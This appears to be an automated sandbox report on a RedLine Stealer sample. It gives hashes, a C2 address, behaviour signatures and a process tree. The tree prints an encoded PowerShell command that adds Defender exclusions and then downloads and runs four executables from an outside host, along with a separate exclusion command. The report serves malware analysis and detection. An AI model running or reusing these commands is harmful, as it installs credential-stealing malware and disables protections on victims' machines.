Analysis
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max time kernel
39s -
max time network
92s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
30/01/2023, 19:13
Static task
static1
Behavioral task
behavioral1
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win10v2004-20221111-en
General
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Target
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
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Size
360KB
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MD5
9c0c75bb31dfa46b2c91c12693bf45dd
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SHA1
b405694fbedc3ed57f486a0bd892fb48b2917d49
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SHA256
c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
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SHA512
cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
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SSDEEP
6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4684-168-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 5092 created 2616 5092 SmartDefRun.exe 44 PID 5092 created 2616 5092 SmartDefRun.exe 44 PID 5092 created 2616 5092 SmartDefRun.exe 44 PID 5092 created 2616 5092 SmartDefRun.exe 44 PID 3684 created 576 3684 powershell.EXE 7 -
Blocklisted process makes network request 1 IoCs
flow pid Process 9 4812 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 1180 new2.exe 4192 C4Loader.exe 5092 SmartDefRun.exe 2364 SysApp.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4724 set thread context of 400 4724 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 1180 set thread context of 4684 1180 new2.exe 92 PID 5092 set thread context of 1852 5092 SmartDefRun.exe 122 PID 3684 set thread context of 5024 3684 powershell.EXE 127 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 504 sc.exe 708 sc.exe 1680 sc.exe 4596 sc.exe 4392 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 4596 4724 WerFault.exe 81 3740 1180 WerFault.exe 88 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 4812 powershell.exe 4812 powershell.exe 2364 SysApp.exe 2364 SysApp.exe 2364 SysApp.exe 2364 SysApp.exe 2364 SysApp.exe 2364 SysApp.exe 2364 SysApp.exe 2364 SysApp.exe 2364 SysApp.exe 2364 SysApp.exe 4684 vbc.exe 5092 SmartDefRun.exe 5092 SmartDefRun.exe 1976 powershell.exe 1976 powershell.exe 5092 SmartDefRun.exe 5092 SmartDefRun.exe 5092 SmartDefRun.exe 5092 SmartDefRun.exe 4636 powershell.exe 4636 powershell.exe 5092 SmartDefRun.exe 5092 SmartDefRun.exe 3220 powershell.EXE 3684 powershell.EXE 3684 powershell.EXE 3220 powershell.EXE 3684 powershell.EXE 5024 dllhost.exe 5024 dllhost.exe 5024 dllhost.exe 5024 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4812 powershell.exe Token: SeDebugPrivilege 4684 vbc.exe Token: SeDebugPrivilege 1976 powershell.exe Token: SeDebugPrivilege 4636 powershell.exe Token: SeIncreaseQuotaPrivilege 4636 powershell.exe Token: SeSecurityPrivilege 4636 powershell.exe Token: SeTakeOwnershipPrivilege 4636 powershell.exe Token: SeLoadDriverPrivilege 4636 powershell.exe Token: SeSystemProfilePrivilege 4636 powershell.exe Token: SeSystemtimePrivilege 4636 powershell.exe Token: SeProfSingleProcessPrivilege 4636 powershell.exe Token: SeIncBasePriorityPrivilege 4636 powershell.exe Token: SeCreatePagefilePrivilege 4636 powershell.exe Token: SeBackupPrivilege 4636 powershell.exe Token: SeRestorePrivilege 4636 powershell.exe Token: SeShutdownPrivilege 4636 powershell.exe Token: SeDebugPrivilege 4636 powershell.exe Token: SeSystemEnvironmentPrivilege 4636 powershell.exe Token: SeRemoteShutdownPrivilege 4636 powershell.exe Token: SeUndockPrivilege 4636 powershell.exe Token: SeManageVolumePrivilege 4636 powershell.exe Token: 33 4636 powershell.exe Token: 34 4636 powershell.exe Token: 35 4636 powershell.exe Token: 36 4636 powershell.exe Token: SeIncreaseQuotaPrivilege 4636 powershell.exe Token: SeSecurityPrivilege 4636 powershell.exe Token: SeTakeOwnershipPrivilege 4636 powershell.exe Token: SeLoadDriverPrivilege 4636 powershell.exe Token: SeSystemProfilePrivilege 4636 powershell.exe Token: SeSystemtimePrivilege 4636 powershell.exe Token: SeProfSingleProcessPrivilege 4636 powershell.exe Token: SeIncBasePriorityPrivilege 4636 powershell.exe Token: SeCreatePagefilePrivilege 4636 powershell.exe Token: SeBackupPrivilege 4636 powershell.exe Token: SeRestorePrivilege 4636 powershell.exe Token: SeShutdownPrivilege 4636 powershell.exe Token: SeDebugPrivilege 4636 powershell.exe Token: SeSystemEnvironmentPrivilege 4636 powershell.exe Token: SeRemoteShutdownPrivilege 4636 powershell.exe Token: SeUndockPrivilege 4636 powershell.exe Token: SeManageVolumePrivilege 4636 powershell.exe Token: 33 4636 powershell.exe Token: 34 4636 powershell.exe Token: 35 4636 powershell.exe Token: 36 4636 powershell.exe Token: SeIncreaseQuotaPrivilege 4636 powershell.exe Token: SeSecurityPrivilege 4636 powershell.exe Token: SeTakeOwnershipPrivilege 4636 powershell.exe Token: SeLoadDriverPrivilege 4636 powershell.exe Token: SeSystemProfilePrivilege 4636 powershell.exe Token: SeSystemtimePrivilege 4636 powershell.exe Token: SeProfSingleProcessPrivilege 4636 powershell.exe Token: SeIncBasePriorityPrivilege 4636 powershell.exe Token: SeCreatePagefilePrivilege 4636 powershell.exe Token: SeBackupPrivilege 4636 powershell.exe Token: SeRestorePrivilege 4636 powershell.exe Token: SeShutdownPrivilege 4636 powershell.exe Token: SeDebugPrivilege 4636 powershell.exe Token: SeSystemEnvironmentPrivilege 4636 powershell.exe Token: SeRemoteShutdownPrivilege 4636 powershell.exe Token: SeUndockPrivilege 4636 powershell.exe Token: SeManageVolumePrivilege 4636 powershell.exe Token: 33 4636 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4724 wrote to memory of 400 4724 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 4724 wrote to memory of 400 4724 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 4724 wrote to memory of 400 4724 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 4724 wrote to memory of 400 4724 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 4724 wrote to memory of 400 4724 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 83 PID 400 wrote to memory of 4812 400 vbc.exe 86 PID 400 wrote to memory of 4812 400 vbc.exe 86 PID 400 wrote to memory of 4812 400 vbc.exe 86 PID 4812 wrote to memory of 1180 4812 powershell.exe 88 PID 4812 wrote to memory of 1180 4812 powershell.exe 88 PID 4812 wrote to memory of 1180 4812 powershell.exe 88 PID 4812 wrote to memory of 4192 4812 powershell.exe 90 PID 4812 wrote to memory of 4192 4812 powershell.exe 90 PID 4812 wrote to memory of 4192 4812 powershell.exe 90 PID 4812 wrote to memory of 5092 4812 powershell.exe 91 PID 4812 wrote to memory of 5092 4812 powershell.exe 91 PID 1180 wrote to memory of 4684 1180 new2.exe 92 PID 1180 wrote to memory of 4684 1180 new2.exe 92 PID 1180 wrote to memory of 4684 1180 new2.exe 92 PID 1180 wrote to memory of 4684 1180 new2.exe 92 PID 4812 wrote to memory of 2364 4812 powershell.exe 93 PID 4812 wrote to memory of 2364 4812 powershell.exe 93 PID 4812 wrote to memory of 2364 4812 powershell.exe 93 PID 1180 wrote to memory of 4684 1180 new2.exe 92 PID 3912 wrote to memory of 4596 3912 cmd.exe 110 PID 3912 wrote to memory of 4596 3912 cmd.exe 110 PID 3912 wrote to memory of 4392 3912 cmd.exe 111 PID 3912 wrote to memory of 4392 3912 cmd.exe 111 PID 3912 wrote to memory of 504 3912 cmd.exe 112 PID 3912 wrote to memory of 504 3912 cmd.exe 112 PID 3912 wrote to memory of 708 3912 cmd.exe 114 PID 3912 wrote to memory of 708 3912 cmd.exe 114 PID 3912 wrote to memory of 1680 3912 cmd.exe 115 PID 3912 wrote to memory of 1680 3912 cmd.exe 115 PID 3912 wrote to memory of 3272 3912 cmd.exe 116 PID 3912 wrote to memory of 3272 3912 cmd.exe 116 PID 3912 wrote to memory of 1760 3912 cmd.exe 117 PID 3912 wrote to memory of 1760 3912 cmd.exe 117 PID 3912 wrote to memory of 2172 3912 cmd.exe 118 PID 3912 wrote to memory of 2172 3912 cmd.exe 118 PID 3912 wrote to memory of 2592 3912 cmd.exe 119 PID 3912 wrote to memory of 2592 3912 cmd.exe 119 PID 3912 wrote to memory of 4124 3912 cmd.exe 120 PID 3912 wrote to memory of 4124 3912 cmd.exe 120 PID 5092 wrote to memory of 1852 5092 SmartDefRun.exe 122 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 3684 wrote to memory of 5024 3684 powershell.EXE 127 PID 5024 wrote to memory of 576 5024 dllhost.exe 7 PID 5024 wrote to memory of 660 5024 dllhost.exe 5 PID 5024 wrote to memory of 952 5024 dllhost.exe 78 PID 5024 wrote to memory of 1020 5024 dllhost.exe 77 PID 5024 wrote to memory of 432 5024 dllhost.exe 10 PID 5024 wrote to memory of 384 5024 dllhost.exe 76 PID 5024 wrote to memory of 892 5024 dllhost.exe 75 PID 5024 wrote to memory of 1116 5024 dllhost.exe 74 PID 5024 wrote to memory of 1132 5024 dllhost.exe 73 PID 5024 wrote to memory of 1220 5024 dllhost.exe 72
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:660
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:576
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6d432879-4bf8-4a90-8661-cf659ecd8c28}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:432
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1336
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1956
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2600
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2616
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C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:400 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4684
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 2566⤵
- Program crash
PID:3740
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:4192
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5092
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2364
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 2403⤵
- Program crash
PID:4596
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1976
